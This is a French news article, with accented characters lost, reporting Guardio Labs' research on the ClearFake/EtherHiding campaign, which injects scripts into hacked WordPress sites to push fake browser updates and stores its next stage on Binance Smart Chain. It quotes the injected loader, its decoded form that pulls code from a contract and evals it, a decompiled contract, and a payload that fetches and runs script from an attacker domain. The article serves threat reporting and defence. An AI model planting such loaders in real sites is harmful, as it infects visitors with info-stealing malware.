Lune des plus anciennes astuces de malware (des sites Web pirats prtendant que les visiteurs doivent mettre jour leur navigateur Web avant de pouvoir afficher un contenu) a repris vie au cours des derniers mois. De nouvelles recherches montrent que les attaquants l'origine d'un tel systme ont dvelopp un moyen ingnieux d'empcher leurs logiciels malveillants d'tre supprims par des experts en scurit ou par les forces de l'ordre : en hbergeant les fichiers malveillants sur une blockchain de crypto-monnaie dcentralise et pseudo-anonyme.
En aot 2023, le chercheur en scurit Randy McEoin a crit sur une arnaque qu'il a surnomme ClearFake, qui utilise des sites WordPress pirats pour proposer aux visiteurs une page prtendant que vous devez mettre jour votre navigateur avant de pouvoir afficher le contenu.
Les fausses alertes de navigateur sont spcifiques au navigateur que vous utilisez. Ainsi, si vous surfez sur le Web avec Chrome, par exemple, vous recevrez une invite de mise jour de Chrome. Ceux qui sont tromps en cliquant sur le bouton de mise jour verront un fichier malveillant dpos sur leur systme qui tente d'installer un cheval de Troie volant des informations.
Selon une tude mene par Guardio Labs, une unit de recherche de la socit de scurit Guardio, les escrocs ont mis en place une campagne baptise EtherHiding, qui consiste injecter du code Javascript malveillant dans des sites web compromis, gnralement des sites WordPress. Ce code va ensuite interroger le rseau BSC en crant un contrat intelligent avec une adresse blockchain contrle par les attaquants. Ce contrat va renvoyer une charge utile malveillante et obfusque, qui va son tour contacter un serveur de commande et de contrle (C2) pour afficher aux visiteurs des sites infects une fausse alerte leur demandant de mettre jour leur navigateur. Si la victime clique sur le bouton de mise jour, elle est redirige vers le tlchargement dun excutable malveillant hberg sur Dropbox ou dautres services lgitimes de partage de fichiers.
Le logiciel malveillant ainsi tlcharg peut tre un chargeur (loader) qui va installer dautres programmes malveillants plus sophistiqus, tels que des voleurs dinformations (stealers), des chevaux de Troie ou des logiciels espions. Parmi les logiciels malveillants observs dans cette campagne, on trouve Amadey, Lumma, RedLine, DanaBot, Raccoon, Remcos, SystemBC ou Vidar.
Cette campagne, baptise ClearFake , identifie par Randy McEoin, commence son attaque sur des sites WordPress compromis o les attaquants intgrent un code JS dissimul. Ce code initial tte de pont est inject dans les pages darticles et rcupre une charge utile de deuxime tape auprs dun serveur contrl par les attaquants, qui effectue ensuite le reste du site.
Grce cette mthode, lattaquant peut modifier distance et instantanment le processus dinfection et afficher le message de son choix. Il peut changer de tactique, mettre jour les domaines bloqus et dsactiver les charges utiles dtectes sans raccder aux sites WordPress. Dans le cas de ClearFake , le code de la deuxime tape tait hberg sur Cloudflare Workers. Cela a t efficace jusqu' ce que CloudFlare bloque ces comptes, interrompant potentiellement l'ensemble de la campagne.
Pourtant, dans cette volution de ClearFake , nous constatons que les acteurs malveillant ont introduit une nouvelle mthode dhbergement de code malveillant de manire anonyme et sans aucune limitation : un vritable hbergement Bullet Proof facilit par la Blockchain.
Le nouveau processus d'infection, premire vue, est le mme qu'auparavant : il utilise les mmes domaines et adresses IP, mais ds la premire entre du site WordPress compromis, nous voyons un nouveau trafic rseau inconnu dirig vers des serveurs contrls par Binance. Quest-ce que Binance, lune des plus grandes bourses de crypto-monnaie au monde, a voir avec tout cela ? Les chercheurs ont commenc par examiner la nouvelle variante du code de premire tape :
1 | <script src="https://cdn.ethers.io/lib/ethers-5.2.umd.min.js" type="application/javascript"></script> <script src="data:text/javascript;base64,YXN5bmMgZnVuY3Rpb24gbG9hZCgpe2xldCBwcm92aWRlcj1uZXcgZXRoZXJz LnByb3ZpZGVycy5Kc29uUnBjUHJvdmlkZXIoImh0dHBzOi8vYnNjLWRhdGFzZWVkMS5iaW5hbmNlLm9yZy8iKSxzaWduZXI9cHJvd [......]b2FkOw=="></script> |
Le code ci-dessus est simplement obscurci en Base64, ce qui se traduit par l'excution de ce qui suit sur chaque page charge partir du site compromis :
1 | // include <https://cdn.ethers.io/lib/ethers-5.2.umd.min.js> async function load() { let provider = new ethers.providers.JsonRpcProvider("https://bsc-dataseed1.binance.org/"), signer = provider.getSigner(), address = "0x7f36D9292e7c70A204faCC2d255475A861487c60", ABI = [ { inputs: [{ internalType: "string", .......}, { inputs: [], name: "get", ......}, { inputs: [], name: "link", ....... }, ], contract = new ethers.Contract(address, ABI, provider), link = await contract.get(); eval(atob(link)); } window.onload = load; |
BSC, ou Binance Smart Chain, lance il y a trois ans, est la rponse de Binance Ethereum, conue pour excuter plus efficacement des applications dcentralises et des contrats intelligents . Alors qu'Ethereum est une blockchain publique dote de capacits de crypto-monnaie et de contrats, BSC appartient Binance et se concentre sur les contrats : des accords cods qui excutent automatiquement des actions lorsque certaines conditions sont remplies. Ces contrats offrent des moyens innovants de crer des applications et des processus. En raison de la nature publique et immuable de la blockchain, le code peut tre hberg en chane sans possibilit de retrait.
Cest ce que nous voyons ici dans cette attaque : le code malveillant est hberg et servi dune manire qui ne peut pas tre bloqu. Contrairement son hbergement sur un service Cloudflare Worker, comme cela tait attnu sur la variante prcdente. Il sagit vritablement dune arme double tranchant dans le domaine de la technologie dcentralise.
Analyse du contrat intelligent malveillant
Les chercheurs indiquent qu'ils ne peuvent pas voir le code rel utilis pour compiler ce contrat, mais ils ont accs son bytecode (dcentralis et transparent aprs tout). Une fois dcompil, voici sa fonctionnalit simple en action :
1 | def storage: stor0 is array of struct at storage 0 def update(string _newName) payable: require calldata.size - 4 >= 32 require _newName <= -1 require _newName + 35 < calldata.size if _newName.length > -1: revert with 'NH{q', 65 require _newName + _newName.length + 36 <= calldata.size if bool(stor0.length): if bool(stor0.length) == stor0.length.field_1 < 32: revert with 'NH{q', 34 if _newName.length: stor0[].field_0 = Array(len=_newName.length, data=_newName[all]) else: {...} def get() payable: if bool(stor0.length): if bool(stor0.length) == stor0.length.field_1 < 32: revert with 'NH{q', 34 {..} if stor0.length.field_1: if 31 < stor0.length.field_1: mem[128] = uint256(stor0.field_0) idx = 128 s = 0 while stor0.length.field_1 + 96 > idx: mem[idx + 32] = stor0[s].field_256 idx = idx + 32 s = s + 1 continue return Array(len=2 * Mask(256, -1, stor0.length.field_1), data=mem[128 len ceil32(stor0.length.field_1)]) mem[128] = 256 * stor0.length.field_8 else: {...} return Array(len=stor0.length % 128, data=mem[128 len ceil32(stor0.length.field_1)], mem[(2 * ceil32(stor0.length.field_1)) + 192 len 2 * ceil32(stor0.length.field_1)]), def unknown1c4695f4() payable: {...} |
Nous pouvons le voir dans lhistorique des transactions sur le BSC, partir de la cration du contrat le 9 septembre 2023 par une autre adresse contrle par un attaquant. Cette autre adresse, cre fin juin 2022, a t charge en BNB (The Binance Coin) d'un montant juste suffisant pour crer et mettre jour le contrat des activits qui ne sont pas rellement payables, mais qui cotent quelques frais de gaz habituels mineurs (entre 0,02 0,60 USD chacune) :
Seule la premire mise jour du contrat est clairement un test (puisquelle ne comprenait en ralit que la chane test ), mais toutes les suivantes sont des morceaux vidents de code JavaScript. Lorsque les premires entres sont assez simples, ces dernires ajoutent davantage de techniques d'obscurcissement JavaScript mais continuent faire les mmes quelques activits simples que celles vues dans cette premire entre (aprs dcodage depuis Base64) :
1 | const get_k_script = () => { let e = new XMLHttpRequest(); return e.open("GET", "https://921hapudyqwdvy[.]com/vvmd54/", !1), e.send(null), e.responseText; }; eval(get_k_script()); |
Nous constatons que chaque fois que leur domaine est brl , une mise jour de la chane est publie pour changer le code malveillant et les domaines affilis au moins 30 domaines malveillants et ce nest pas fini.
Lavantage pour les escrocs dutiliser le rseau BSC est quil sagit dun service dcentralis, anonyme et public, qui ne peut pas tre censur ou supprim. En effet, le code hberg sur la blockchain est immuable et accessible tous. De plus, linterrogation du contrat intelligent est une opration gratuite, qui tait initialement conue pour dboguer les problmes dexcution des contrats sans impact rel. Ainsi, les escrocs disposent dun moyen gratuit, discret et robuste pour diffuser leur logiciel malveillant sans laisser de traces.
Face cette menace, Binance a dclar tre conscient du problme et avoir pris des mesures pour y remdier. La socit a indiqu avoir mis sur liste noire toutes les adresses associes la propagation du logiciel malveillant et avoir dvelopp un modle pour dtecter les futurs contrats intelligents qui utilisent des mthodes similaires pour hberger des scripts malveillants.
Les experts en scurit recommandent aux utilisateurs de se mfier des alertes de mise jour suspectes et de vrifier la source et la lgitimit des fichiers quils tlchargent. Ils conseillent galement dutiliser un logiciel antivirus jour et de sauvegarder rgulirement leurs donnes.
Source : Guardio Labs
Et vous ?
Que pensez-vous de lutilisation du rseau BSC par les escrocs pour hberger leur logiciel malveillant? Est-ce une preuve de lingniosit des hackers ou de la vulnrabilit des technologies dcentralises?
Que pensez-vous des mesures que Binance a prises pour contrer cette menace? Sont-elles suffisantes ou faut-il renforcer la scurit du rseau BSC?
Quels sont les risques pour les utilisateurs de cryptomonnaies qui visitent des sites web infects par cette campagne? Comment peuvent-ils se protger efficacement contre ce type dattaque?